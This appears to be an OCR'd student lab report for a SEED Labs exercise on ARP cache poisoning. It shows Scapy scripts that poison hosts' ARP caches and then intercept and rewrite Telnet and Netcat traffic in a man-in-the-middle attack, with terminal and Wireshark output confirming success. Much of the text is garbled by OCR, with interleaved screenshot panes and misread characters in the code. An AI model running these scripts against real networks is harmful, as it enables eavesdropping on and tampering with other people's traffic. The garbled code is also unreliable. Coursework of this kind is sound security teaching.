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IP Address MAC Address
Attacker - M 10.9.0.105 02:42:02:09:00:69
Host A 10.9.0.5 02:42:02:09:00:05
Host B 10.9.0.6 02:42:02:09:00:06
Task 1: ARP Cache Poisoning

GNU nano 4.8 ARP venom.py
i'!/usr/bin/env python3

from scapy.all import *

E =
A
A.

Ether()
= ARP()
op 1 # 1 for ARP requests; 2 for ARP reply

pkt
1s(E)
sendp(pkt)

E/A

Wrote a script that defines Ethernet interface and constructs an ARP request then builds a packet with
the defined characteristics to send across the network.

[SEED Labs] Capturing from br-7979ac1a1725

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A @

RC Q¢ dIASE 0o E

|1‘Appty a display filter ... <Ctrl-/>

No.

Time
1 2023-02-27
2 2023-02-27
3 2023-02-27
4 2023-02-27
5 2023-02-27
6 2023-02-27
7 2023-02-27

Destination
224.0.0.251
ffe2::fb
224.0.0.251
ffez::fb
Broadcast
02:42:0a:09:00:69
02:42:f3:7e:a6:b8

Protocol Length Info
201 Standard query 6x0808 PTR _ipps._
221 Standard query 0x0000 PTR _ipps._
201 Standard query 6x0000 PTR _ipps._
221 standard query 6x0608 PTR _ipps._
42 who has 10.9.0.1?7 Tell 16.9.0.105
42 10.9.0.1 is at 02:42:f3:7e:a6:b8
42 who has ©.8.0.87 Tell 10.9.0.185

.635724..
.042513..
.729802..
.043678..
.177029..
.177070..
.193442..

feg0::42:f3ff:feve:..
18.9.8.1
fege::42:f3ff:feve:..
02:42:0a:09:00:69
02:42:f3:7e:a6:b8
02:42:0a:09:00:69

seed@VM: ~/...fLabsetup

J.../Labsetup /Labsetup

seed@VM: ~/.../Labsetup

nano mitm.py
touch ARP_venom.py
nano ARP_venom.py
nano test.py

root@04fe381345b7:/volumes#
root@04fe381345b7: /volumes#
root@04fe381345b7: /volumes#
root@04fe381345b7: /volumes#
root@04fe381345b7:/volumes# nano ARP venom.py
root@04fe381345b7:/volumes# python ./ARP venom.py
sash: python: command not found
root@04fe381345b7:/volumes# python3 ./ARP venom.py

ist : DestMACField = '"ff:ff:ff:ff:ff:ff' (None)
src : SourceMACField = '02:42:0a:09:00:69"' (None)
type : XShortEnumField = 36864 (36864)
wtype : XShortField =1 (1)

atype : XShortEnumField = 2048 (2048)
wlen : FieldLenField = None (None)
olen : FieldLenField = None (None)

ap : ShortEnumField =1 (1)

WSrc : MultipleTypeField = '02:42:0a:09:00:69"' (None)
asrc : MultipleTypeField = '10.9.0.105" (None)
wdst : MultipleTypeField = '00:00:00:00:00:00" (None)
adst : MultipleTypeField = '0.0.0.0' (None)

Sent 1 packets.
root@04fe381345b7: /volumes# l

Running the above script produces interface information fields from Is(E) and Is(ARP) highlighting the
parameters contained within the packet that was sent from the attacker container to the host VM.
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Task 1A: C

ache poisoning using an ARP request

GNU nano 4.8 test.py
#! /usr/bin/env python3

#Poison A

from scapy.all import *

E Ether()

A = ARP(psrc="10.9.0.6",hwsrc="02:42:0a:09:00:69"
,pdst="10.9.0.5")

A.op =1

# 1 for ARP request: 2 for ARP reply

pkt = E/A

1s(E)

pkt.show()

s@ndp (pkt)

#Poison B

#E = Ether()

#B = ARP(psrc="10.9.0.5",hwsrc="02:42:0a:09:00:69"
# ,pdst="10.9.0.6")

#A.op = 1

# 1 for ARP request: 2 for ARP reply

#pkt = E/B

#1s(E)

#pkt.show()

#sendp (pkt)

Preparing a script for ARP Cache poisoning of Host A. The following screenshot confirms Host A’s current
ifconfig and the subsequent ARP cache from prior communication with Host B.

root@eed4382c8bdcc:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 10.9.0.5 netmask 255.255.255.0 broadcast 10.9.0.255
ether 02:42:0a:09:00:05 txqueuelen 0 (Ethernet)

RX packets 156 bytes 19237 (19.2 KB)

RX errors @ dropped @ overruns 0 frame 0

TX packets 84 bytes 5614 (5.6 KB)

TX errors 0 dropped O overruns @ carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

loop txqueuelen 1000 (Local Loopback)

RX packets @ bytes @ (0.0 B)

RX errors @ dropped 0 overruns 0 frame 0

TX packets 0 bytes 0 (0.0 B)

TX errors 0 dropped O overruns @ carrier 8 collisions 0

root@ee4382c8bdcc:/# arp -n

Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:06 C etho
10.9.0.1065 ether 02:42:02:09:00:69 C etho

root@ee4382c8hdcc:/# |

Verifying current ARP cache with arp -n. Host B is 10.9.0.6 with a MAC address of 02:42:0a:09:00:06.
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root@ee4382c8bdcc:/# arp -n

Address HwWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:06 C eth0
10.9.0.105 ether 02:42:0a:09:00:69 C eth0
root@ee4382c8bdcc:/# arp -n

Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:69 C eth0
10.9.0.105 ether 02:42:0a:09:00:69 C eth0

root@ee4382c8bdcc:/# |]

Host A is confirmed to have a Poisoned ARP cache which directs packet traffic meant for Host B through
the attacking machine 10.9.0.105 first. Forwarding is maintained in order to not trigger man-in-the-
middle presence. Preliminary attack is successful.

Task 1B: Cache poisoning using an ARP response

Prepared script for an ARP reply to Host A from Attacker M as if the reply came from Host B.

GNU nano 4.8

#! /usr/bin/env python3

#Poison A

from scapy.all import *

E = Ether()

A = ARP(psrc="10.9.0.6",hwsrc="02:42:0a:09:00:69"
,pdst="10.9.0.5")

A.op = 2}

# 1 for ARP request: 2 for ARP reply

pkt = E/A

1s(E)

pkt.show()

sendp (pkt)

#Poison B

#E Ether()

#B = ARP(psrc="10.9.0.5",hwsrc="02:42:0a:09:00:69"
# ,pdst="10.9.0.6")

#A.op = 1

# 1 for ARP request: 2 for ARP reply

#pkt = E/B

#1s(E)

#pkt.show()

#sendp (pkt)

root@sc7de3627fda:/# arp -n

Address
10.9.0.165
10.9.0.5

HWtype HWaddress Flags Mask
ether 02:42:0a3:09:00:69 C
ether 02:42:0a:09:00:05 C

root@sc7de3627fda: /# |

Iface
eth0
ethO

Status of Host B prior to poisoning Host A.
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Scenario 1: Host B’s IP and MAC are properly cached in Host A
root@ee4382c8bdcc:/# arp -n

Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:06 C etho
10.9.0.105 ether 02:42:0a:09:00:69 C etho

root@eed4382c8bdcc:/# |

Status of Host A ARP cache prior to execution of python script written at beginning of Task1B. Note the
separate HWaddresses for each host.

root@eed4382c8bdcc:/# arp -n

Address HwWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:69 C etho
10.9.0.105 ether 02:42:0a:09:00:69 C etho

root@ee4382c8bdcc:/# |

Status of Host A ARP Cache at the conclusion of Attacker M’s ARP poisoning python script. This
screenshot is showing the ARP cache of Host A was successfully poisoned which is showing the same
MAC address for both 10.9.0.105 and 10.9.0.6. Note the matching HWaddresses which matches the
10.9.0.105 address in the previous screenshot.

Scenario 2: Delete Host B IP from Host A Cache
root@ee4382c8bdcc:/# arp -d 10.9.0.6
root@ee4382c8bdcc:/# arp -n
Address HwWtype HWaddress Flags Mask Iface
10.9.0.105 ether 02:42:0a:09:00:69 C eth0
root@ee4382c8bdcc: /#

Deleting Host B entry from Host A ARP cache shows the ARP poisoning attack did not execute
successfully. This is because there is no entry for Host B in the ARP cache of Host A which is important
for the reply, otherwise there is no host available.

Task 1C: Cache poisoning using an ARP gratuitous message.

| GNU nano 4.8 gratuitous test
2! /usr/bin/env python3

d

#Poison A

from scapy.all import *

E = Ether(dst="ff:ff:ff:ff:fF:ff", src="02:42:0a:09:00:69")
A = ARP(psrc="10.9.0.6", hwsrc="02:42:0a:09:00:69"
,pdst="10.9.0.6", hwdst="ff:ff:ff:ff:FF:FF")

Ipkt = E/A
pkt.show()
sendp(pkt)

ARP gratuitous message script preparing for the following two scenarios: Host B IP and MAC in Host A
cache and Host B IP and MAC deleted from Host A cache.
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Scenario 1: Host B’s IP and MAC are properly cached in Host A
root@6d78409d31d0:/# arp -n

Address HwWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:06 C eth0
root@6d78409d31d0:/# arp -n

Address HwWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:69 C eth0

root@6d78409d31d0: /#

Pinging Host B from Host A establishes the proper routing information in Host A’s ARP cache. Then
running our gratuitous script above in our Attacker Machine M poisons Host A’s ARP cache sending Host
B’s packet through the attackers MAC address first then forwarding to Host B.

Scenario 2: Delete Host B IP from Host A Cache
root@ee4382c8bdcc:/# arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.105 ether 02:42:0a2:09:00:69 C etho
root@ee4382c8bdcc: /#
Deleting Host B’s IP from Host A’s ARP cache did not allow for cache poisoning by Attacker M. A previous
IP and MAC address entry from a prior packet transmission is required.

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

#! /usr/bin/env python3

#Poison A

from scapy.all import *

E = Ether()

A = ARP(psrc="10.9.0.6",hwsrc="02:42:0a:09:00:69"

,pdst="10.9.0.5")
A.op = 1 # 1 for ARP request: 2 for ARP reply
pkt = E/A
1s(E)
pkt.show()
sendp(pkt)

#Poison B

E Ether()

B ARP(psrc="10.9.0.5",hwsrc="02:42:0a:09:00:69"
,pdst="10.9.0.6")

A.op = 1 # 1 for ARP request: 2 for ARP reply
pktl = E/B
1s(E)
pktl.show()
sendp(pktl)
while True:
sendp(pkt)
sendp(pktl)

time.sleep(5)

The script above is packaged in a manner that will poison both Host A and Host B simultaneously when
the script in run on Attacker M’s machine. This will loop until user exit. First, we must ensure that both
Host A and Host B’s ARP tables include entries for packet transmissions between one another. We will
ping Host B from Host A and vice versa.

5|9
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root@6d78409d31d0: /# ping 10.9.0.6

PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.

64 bytes from 10.9.0.6: icmp_seq=1 tt1=64 time=0.099 ms

64 bytes from 10.9.0.6: icmp_seq=2 ttl=64 time=0.113 ms

64 bytes from 10.9.0.6: icmp_seq=3 ttl1=64 time=0.112 ms

~C

--- 10.9.0.6 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2040ms
rtt min/avg/max/mdev = 0.099/0.108/0.113/0.006 ms
root@6d78409d31d0:/# arp

IAddress HWtype HWaddress Flags Mask
B-10.9.0.6.net-10.9.0.0 ether 02:42:0a:09:00:06 C
root@6d78409d31de: /# I

Ping Host B from Host A and confirm ARP tables are true to their IP and MAC configurations.

root@aa24c37cc7a2:/# ping 10.9.0.5

PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.

64 bytes from 10.9.0.5: icmp_seg=1 tt1=64 time=0.196 ms

64 bytes from 10.9.0.5: icmp seq=2 ttl=64 time=0.163 ms

~C

--- 10.9.0.5 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1020ms

rtt min/avg/max/mdev = 0.163/0.179/0.196/0.016 ms

root@aa24c37cc7a2:/# arp

Address HWtype HWaddress Flags Mask Iface
A-10.9.0.5.net-10.9.0.0 ether 02:42:0a:09:00:05 C eth@
root@aa24c37cc7a2: /# i

Ping Host A from Host B and confirm ARP tables are true to their IP and MAC configurations.

RX packets 0 bytes 0 (|Address HWtype HWaddress Flags Mask Iface
RX errors @ dropped @ B-10.9.0.6.net-10.9.0.0 ether 02:42:02:09:00:06 C eth@

TX packets 58 bytes 96/root@6d78409d31d0:/# arp
TX errors @ dropped @ address HWtype HWaddress Flags Mask Iface
B-10.9.0.6.net-10.9.0.0 ether 02:42:0a:09:00:69 C ethe
[02/27/23]seed@M:~/.../LabsetuM.10.9.0.105.net-10.9.0 ether 02:42:0a:09:00:69 C ethe

@aa24c37cc7a2 B-10.9.0.6 root@6d78409d31d0: /# [
6d78409d31d0 A-10.9.0.5

c83df502dfd5 M-10.9.0.105
[02/27/23]seed@M:~/.../Lab

seed@VM: ~/.../Labsetup

root@aa24c37cc7a2:/# ping 10.9.0.5

PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.

64 bytes from 10.9.0.5: icmp_seq=1 ttl=64 time=0.196 ms

64 bytes from 10.9.0.5: icmp_seq=2 ttl=64 time=0.163 ms

~C

--- 10.9.0.5 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1020ms

rtt min/avg/max/mdev = 0.163/0.179/0.196/0.016 ms

root@aa24c37cc7a2:/# arp

lAddress HWtype HWaddress Flags Mask Iface
A-10.9.0.5.net-10.9.0.0 ether 02:42:02:09:00:05 C eth@
root@aa24c37cc7a2:/# arp

|Address HWtype HWaddress Flags Mask Iface
A-10.9.0.5.net-10.9.0.0 ether 02:42:0a:09:00:69 C eth®
M-10.9.0.105.net-10.9.0 ether 02:42:0a:09:00:69 C ethd
root@aa24c37cc7a2: /#

Three terminals are shown in the screenshot above; top-right terminal is Host A with a poisoned ARP
cache, Bottom-right terminal is Host B with a poisoned ARP cache.

150 2023-02-28 17:38:34.632497. ffoe2::fb MDNS 221 Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR _pgpkey-hkp._ t..
151 2023-02-28 18:05:21.386630.. Broadcast ARP 42 Who has 10.9.6.5? Tell 10.9.0.165

152 2023-02-28 18:05:21.386668. : 02:42:0a:09:00:69 ARP 42 10.9.0.5 is at 02:42:0a:09:00:85

153 2023-02-28 18:05:21.416886.. 02:42:0a:09:00: 02:42:0a:09:00:05 ARP 42 10.9.0.6 is at 02:42:0a:09:00:69

154 2023-02-28 18:05:21.449797.. 02:42:0a:09:00: Broadcast ARP 42 who has 10.9.0.6? Tell 10.9.0.165

155 2023-02-28 18:05:21.449824.. 02:42:0a:09:00: 02:42:0a:09:00:69 ARP 42 10.9.0.6 is at 02:42:0a:09:00:06

156 2023-02-28 18:05:21.480685.. 02:42:0a:09:00: 02:42:0a:09:00:06 ARP 42 who has 10.9.0.6? Tell 10.9.0.5 (duplicate use of 10.9.0.5 detected!)
157 2023-02-28 18:85:21.480714.. 02:42:0a:09:00: 02:42:0a:09:00: 69 ARP 42 10.9.0.6 is at 02:42:0a:09:00:06 (duplicate use of 10.9.0.5 detected!)
158 2023-02-28 18:05:21.513134.. 02:42:0a:09:00: 02:42:0a:09:00:06 ARP 42 who has 10.9.0.67 Tell 10.9.0.5 (duplicate use of 10.9.0.5 detected!)
159 2023-02-28 18:05:21.513160.. 02:42:0a:09:00: 02:42:0a:09:00:69 ARP 42 10.9.0.6 is at 02:42:0a:09:00:06 (duplicate use of 10.9.0.5 detected!)
160 2023-02-28 18:05:26.550045.. 02:42:0a:09:00: 02:42:0a:09:00:06 ARP 42 who has 10.9.0.67 Tell 10.9.0.5 (duplicate use of 10.9.0.5 detected!)

161 2023-02-28 .5500889... : 42 10.9.0.6 is at 142:0a:09:00:06 (duplicate use of 10.9.0.5 detected!)
162 2023-02-28 18 31.586051.. O 9 142 42 Who has 16.9.6. Tell 10.9.0.5 (duplicate use of 10.9.8.5 detected!)
163 2023-02-28 18:05:31.586094.. 02:42:0a:09:00:06 02:42:0a:09:00:69 ARP 42 10.9.0.6 is at 02:42:0a:09:00:06 (duplicate use of 10.9.0.5 detected!)

Frame 161: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface br-aef953fdcc77, id ©
Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:69 (02:42:0a:09:00:69)

Address Resolution Protocol (reply)

[Duplicate IP address detected for 10.9.0.6 (02:42:0a:09:00:06) - also in use by 02:42:0a:09:00:69 (frame 153)]
[Duplicate IP address detected for 10.9.0.5 (02:42:0a:09:00:69) - also in use by 02:42:0a:09:00:85 (frame 152)]

Wireshark screenshot showing looped ARP poisoning from Attacker M. Next is to turn off IP forwarding
on Host M.
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j = —— erotocolLlienath ifo From 10.9.0.185: lcmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
12-;; ;gg;gg;g i‘éé?;i ,gg 13 :gg ;E:: ;g :c:o Ew"q; reply . 1:=g 64 bytes from 10.9.0.6: icmp_seg=2 ttl=63 time=0.175 ms
-92- X . .0, .9.8. cho (ping) request id= s _ : .
1428 2023-02-28 .184523.. 0.6 10.9.8.5 TcHP 98 Echo (ping) request id-off rom 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
1429 2023-92-28 .212113 .0.6 10.9.8.5 TCHP 98 Echo (ping) request id=8y64 bytes from 10.9.0.6: icmp seq=3 tt1=63 time=0.144 ms
1438 2023-82-28 .231618 .8.6 10.8.8.5 1CHP 98 Echo (ping) request id=e . 9§ — ] .
o teten fo0d058 A oYy = T [m'ng] reqﬁm LipJFTom 10.9.0.105: icmp seq—-‘l Redirect Hust(Ngw nexthop: 10.9.0.6)
1432 2023-62-28 .255914... .0.6 10.9.0.5 IcHP 98 Echo (ping) request id=0464 bytes from 10.9.0.6: icmp_seq=4 tt1=63 time=0.279 ms
1433 2023-02-28 .832734.. .0.5 10.9.0.6 IcHP 98 Echo (ping) request id=gjaC
1434 2023-62-28 280544 .0.6 10.9.6.5 1cHe 98 Echo (ping) request 1d=e e
1448 2023-82-28 856617 8.5 18.9.8.6 TcHp 98 Echo (ping) request id=ed--- 10.9.0.6 ping statistics ---
1441 2023-62-28 .304786... 6.6 10.9.8.5 1CHP 98 E::n Ep!nq% request 1:fu4 packets transmitted, 4 received, 0% packet loss, time 3065ms
1443 2023-02-28 880389 8.5 10.9.8.6 1cHP 98 Echo (ping) request id=e A
1444 2023-82-28 .327881 6 18.9.8.5 TcHP 98 Echo (ping) request id-ef L1 Min/avg/max/mdev = ©.109/0.176/0.279/0.063 ms
1446 2023-62-28 351825 0.6 10.9.8.5 IcHP 98 Echo (ping) request 1d=8)rpot@6d78409d31d0:/# arp -n
Address HWtype HWaddress Flags Mask
Frame 1243: 126 bytes on wire (1608 bits), 126 bytes captured (1808 bits) on interface br-aof953fdcc7?, id @ .47:03:09:00-
Ethernet II, Src: 02:42:0a:09:00:69 (92:42:0a:09:00:69), Dst: 02:42:0a:09:00:05 (02:42:02:09:00:05) 10.9.0.6 ether  02:42:02:09:00:69  C
Internet Protocol Version 4, Src: 10.9.0.165, Dst: 10.8.6.5 10.9.0.105 ether 02:42:0a:09:00:69 C
Internet Control Message Protocol root@6d78409d31d3 ,,‘# plng 19.9 B 6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
~C
--- 10.9.0.6 ping statistics ---
4 packets transmitted, @ received, 180% packet loss, time 30876ms
6a 69 60 05 62 42 0a 69 0O 69 6B 0@ 45 cO .
77 46 60 06 46 01 66 67 Ga 09 66 69 8a 09 root@6d78409d31d0: /#

828 5 3 ef Ba @9 86 45

B3 9 2f Ba @9 B85 8a 08 seed@VM:
150 B SaA EEEE From 10.9.6.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.5)

868 if 20 21 23 24 25
B7E 2c 2d 2e 2f 30 31 33 34 35

64 bytes from 10.9.0.5: icmp_seq=4 ttl=63 time=0.215 ms
Intemet Control Message Protocol: Protocol Packets: 1453 Displayed:d___ 19 9.0.5 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3064ms
rtt min/avg/max/mdev = 0.088/0.153/0.215/0.057 ms
root@aa24c37cc7a2:/# arp -n

Sent 1 packets.

Sent 1 packets.

~CTraceback (most recent call last): Address HWtype HWaddress Flags Mask
File "test.py", line 27, in <module> 10.9.0.5 ether 02:42:0a:09:00:69 C
time.sleep(5) 10.9.0.105 ) ether 02:42:0a:09:00:69 C
KeyboardInterrupt root@aa24c37cc7a2: /# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.

~C
--- 10.9.0.5 ping statistics ---
O packets transmitted, 0 received, 100% packet loss, time 8187ms

root@c83df502dfd5: /volumes#

root@aa24c37cc7a2: /#

With sysctl net.ipv4.ip_forward=0 having IP forwarding off, packets between Hosts A and B are routinely
dropped and cannot effectively reach their destinations.

[SEED Labs] *br-a0f9safdect? - o

stics ---

Eile Edit d, 0 received, 100% packet loss, time 2028ms

iew Go Capture Analyze Statistics Telephony MWireless Jools Help

& e O QA< 2P i
A licmp @\ -4 arp -n
No. Time Source Destination Protocol Length Info - HWtype HWaddress Flags Mask
1225 2023-02-28 19:02:47.472312_ 10.9.6.6 16.9.6.5 IcHp 98 Echo (ping) request id=oxe@Sc, seq=2/512, ttl=6d (no ether 02:42:0a:09:00:69 C
1227 2023-02-28 18:02:47.472385- 1 \6. I “96 Echo (ping) request 10-6x805C, 52q=2/512, TT1=63 (re| ether  02: a H-
3

reply

1228 2023-62-28 18:62:47 8 Echo (ping) 512, ttl=64 (rei | arp -n
1226 2628 - : t t) HWtype HWaddress Flags Mask
ether 02:42:0a:09:00:69 C
ether 02:42:02:09:00:69 C

49,5218; t t) ping 10.9.0.6
1241 2023-02-28 19:02:49.521825_ 10.9.6. .9.6. (ping) reguest 1d=Dxe@Sc, 1024, tL1563 (1t . 6) 56(84) bytes of data.
1242 2823-82-28 18:82:49.521862 1, 18. ICHP 98 Echo (ping) reply 1d=Bx085¢c, seq=4/1824, ttl=64 (r: L 6: lcmp_seq=1 tt1=63 time=0.109 ms

(Redirect
® _p_seq=2 Redirect Host(New nexthop: 10.9.0.6)
z * .61 icmp seq=2 tt1=63 time=0.175 ms

Frame 1243: 126 bytes on wire (1808 bits), 126 bytes captured (1888 bits) on interface br-a@fesafdce7?, id B - i .
Ethernet 11, Src: 82:42:8a:89:66:69 (02:42:0a:09:00:69), Dst: 82:42:0a:089:00:05 (02:42:6a:89:80:85) p_seq=3 Redirect Host{New nexthop: 18.9.8.6)

Internet Protocol Version 4, Src: 10.9..105, Dst: 16.9.8.5 .6: icmp_seq=3 ttl=63 time=0.144 ms
EnfeneRontan i A-xsag cinnicool p_seq=4 Redirect Host(New nexthop: 10.9.0.6)
L6: icmp segq=4 ttl=63 time=0.279 ms

88 Echo (ping) reply
98 Echo (ping) request
98 Echo (ping) reply

98 Echo_(ping) regquest

1230 2023-82-28 19:82:47.472445_ 18.9.8.5 9.8
1233 2023-82-28 19:82:48.496177_ 18.9.8.6 18.9.8
1234 2023-82-28 19:62:48.496194_ 16.9.8.5 9.8
1239 2023-62-28 19:02:49.521744_ 16.9.6.6 5.6

98 Echo (ping)

reply  10-8xB@5c, Seq=4/1824, ttl-63

atistics ---
d, 4 received, 0% packet loss, time 3065ms
. = 0.109/0.176/0.279/0.063 ms
B2 42 6a 09 00 85 B2 42 0a 09 00 69 68 B8 45 cA@ B B i E
e8 7@ f7 46 00 00 40 ©1 Ge 07 Ga 89 00 69 fa @9 pF @ n i
B0 85 85 01 f0 ef Ba B9 00 06 45 00 00 54 % Sd E--T

B0 @8 3f 81 c9 2f Ba B9 @6 85 Ba 09 66 B6 6O 88 ?-/
57 dd 89 5c 99 04 25 96 fe 63 8 80 80 BB b9 f5 W\ ). ¢
©7 00 00 00 00 00 10 11 12 13 14 15 16 17 18 19
la 1b 1c 1d le 1f 26 21 22 23 24 25 26 27 28 29 | "#S%E'() ftics ---
2a 2b 2c 2d 2e 2f 36 31 32 33 34 35 36 37 *+,-./81 234567 . .
- ) received, 100% packet loss, time 4078ms
¥ Internet Control Message Protocol: Protocol Packets: 1302 - Displayed: 194 (14.9%) Profile: Default
" Y T

root@aa24c37ccla2: /# ping 10.9.0.5

PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.

64 bytes from 10.9.0.5: icmp_seq=1 ttl=63 time=0.103 ms

From 10.9.0.105: icmp seq=2 Redirect Host(New nexthop: 10.9.8.5)
64 bytes from 10.9.0.5: icmp seq=2 tt1=63 time=0.206 ms

64 bytes from 10.9.0.5: icmp_seq=3 ttl=64 time=0.088 ms

From 10.9.0.105: icmp seq=4 Redirect Host(New nexthop: 10.9.8.5)
64 bytes from 10.9.0.5: icmp_seq=4 tt1=63 time=08.215 ms

~C

--- 10.9.0.5 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3064ms
rtt min/avg/max/mdev = 0.088/0.153/0.215/0.057 ms
root@aa24c37ccTa2: /# [1

Sent 1 packets.

Sent 1 packets.

Forwarding on allows the Hosts A and B to remain unsuspecting of any poisoning unless they are actively
viewing packet transmissions which show there is a redirect happening before their transmissions are
received. Wireshark is showing redirect and duplicate packets resulting for ARP poisoning.
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GNU nano 4.8 figureinthemiddle.py

#!/usr/bin/python3

from scapy.all import *
import re

IP A= "10.9.0.5"
MAC A = "02:42:0a:09:00:05"
IP B = "10.9.0.6"
MAC B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
if pkt[IP].src == IP A and pkt[IP].dst == IP B and pkt[TCP].payload:
real = (pkt[TCP].payload.load)
data = real.decode()
stri = re.sub(r'[a-zA-Z]"',r'2"',data)
newpkt = pkt[IP]
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
newpkt = newpkt/stri
print(“Data transformed from: "+str(real)+" to: "+ stri)
send(newpkt, verbose = False)
elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
newpkt = pkt[IP]
send(newpkt, verbose = False)

pkt = sniff(filter="tcp',prn=spoof_pkt)

Packet spoof script enabling data transformations in the following step.

Tl S = ol = = & & @
QE2IkASE o6 * Documentation: https://help.ubuntu.com

<ctrl/>

* Management: https://landscape.canonical.com
- , - T * Support: https://ubuntu.com/advantage
4714 2023-02-28 2:44'17&)08189.,, 2:42:@&:@9:08:05
1152823°02 20 19244 82:42:65:59:56.:86 ‘ This system has been minimized by removing packages and content
4717 2023-02- z .9.0. not required on a system that users do not log into.
a

To restore this content, you can run the 'unminimize' command.
Last login: Wed Mar 1 03:38:39 UTC 2023 from aa24c37cc7a2 on pi
seed@aa24c37cc7a2:~$ 1

-bash: 1: command not found

. & ; x : - . seed@aa24c37cc7a2:~$ s

p = . — = -bash: s: command not found

» Frame 3374 66 bytes on wire (528 bits), 66 bytes captured (528 bits)|D2|seed@aa24c37cc7a2:~$ ~C
» Ethernet II, Src: 02:42:0a:09:00:05 (02:42:0a:09:00:05), mt:ezmzmcDaseed@aaz4c37cc7az;~$ AC
» Internet Protocol Version 4, Src: 10.9.0.5, Dst: 10.9.0.6 Da d 24¢37 7a2: =

Transmission Control Protocol, Src Port: 40878, Dst Port: 23, Seq: 36f| seed@aa24c37cc7a2:~$ exit

logout

Connection closed by foreign host.

seed@aa24c37cc7a2:~$ arp

Dajaddress HWtype HWaddress Flags Mask
Dajp-10.9.0.5.net-10.9.0.0 ether 02:42:0a:09:00:05 C

02 42 0a 09 00 06 02 42 0Oa 09 00 05 08 00 45 10 B B DajM-10.9.0.105.net-10.9.0 ether 02:42:0a:09:00:69 (o

1 00 34 3b 12 40 00 40 06 eb 85 Ga 09 OQmE Da seed@aaz4c37cc7a2.~$ I
9020 90 06 AL T LT i Data TransToTmed TTOm: D \XID[Z TOT

[CCk{cIOe1 S 14 43 00 00 01 01 ©8 Ma 05 11 bi
0040 Data transformed from: b'\x1lb[Z' to:
10.9.0.5 Data transformed from: b'\x1b[Z' to:
10.9.0.105 Data transformed from: b'\x1lb[Z' to:
O 7 Transmission Control Protocol (tcp), 32 bytes root@aa24c37cc7a2: Data transformed from: b'\x1lb[Z' to:
< PING 10.9.0.5 (10.9pata transformed from: b'\x1lb[Z' to:
~C Data transformed from: b'\x1b[Z' to:
--- 10.9.0.5 ping ¢{pata transformed from: b'\x1b[Z' to:
9 packets transmit{Data transformed from: b'\x1b[Z' to:
Data transformed from: b'\x1lb[Z' to:
root@aa24c37cc7a2:Data transformed from: b'\x1b[Z' to:
exit
[02/28/23]seed@VM:~/.../Labsetup$ docksh aa
root@aa24c37cc7a2:/# arp
Address HWtype HWaddress Flags Mask Iface
A-10.9.0.5.net-10.9.0.0 ether 02:42:0a:09:00:69 C etho
M-10.9.0.105.net-10.9.0 ether 02:42:0a:09:00:69 C etho
root@aa24c37cc7a2: /# []

This screenshot shows data input for Host A when telnet to Host B is being transformed in transit
through Host M. Data transformations are kind of wacky so this will require more troubleshooting.
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Task 3: MITM Attack on Netcat using ARP Cache Poisoning

seed@VM: ~/.../Labsetup Q : nc 10.9.0.6 9090
seed @VM: ~/.../Labsetup
GNU_nang mitm.py Modified
#!/usr/bin/env python3
from scapy.all import * seed@aa24c37cc7a2:~$ exit
" lLogout
IConnection closed by foreign host.
seed@aa24c37cc/az:~$ exit
def spoof_pkt (pkt): Logout . )
iT pkt[IP].src == TP A and pkt[IP].dst == IP B: Connection closed by foreign host.
# Create a new packet based on the captured one. root@6d78409d31d0: /# nc 10.9.0.6 9090
# 1) We need to delete the checksum in the IP & TCP headers,
# because our modification will make them invalid. €xam
# Scapy will recalculate them if these fields are missing. lexma
#2) We also delete the original TCP payload. lexam
newpkt = IP(bytes(pkt[IP])) lexam
del (newpkt.chksum)
del (newpkt[TCP].payload) exam
del (newpkt[TCP].chksum) lexam
root@6d78409d31d0:/# nc 10.9.0.6 9090
# Construct the new payload based on the old payload. da
# Students need to implement this part. drew
if pkt[TCP].payload:
data = pkt[TCP].payload.load # The original payload data
newdata = data.replace(b'drew', b"AHHH") #re.sub(r'[0-9a-zA-Z]', r'A', data.decode()) # No change is made in thisf
newpkt = newpkt/newdata . ;
cend(newpkt) roqt@aa24c37cc7a2./# exit
exit
EL::;dinewpktb [03/01/23]seed@VM:~/.../Labsetup$ docksh aa
root@aa24c37cc7a2:/# nc -1 9090
BElif pkt[IP].src == IP_B and pkt[IP].dst == IP A: lexam
# Create new packet based on the captured one
# Do not make any change exma
k (bytes(pkt[IP])) exan
newpkt = IP(bytes(pkt[IP
del (newpkt . chksum) exam
del (newpkt[TCP] . chksum) lexam
send (newpkt) e
pkt = sniff(filter="tep’, prn=spoof pkt) root@aa24c37cc7a2:/# nc -1 9090
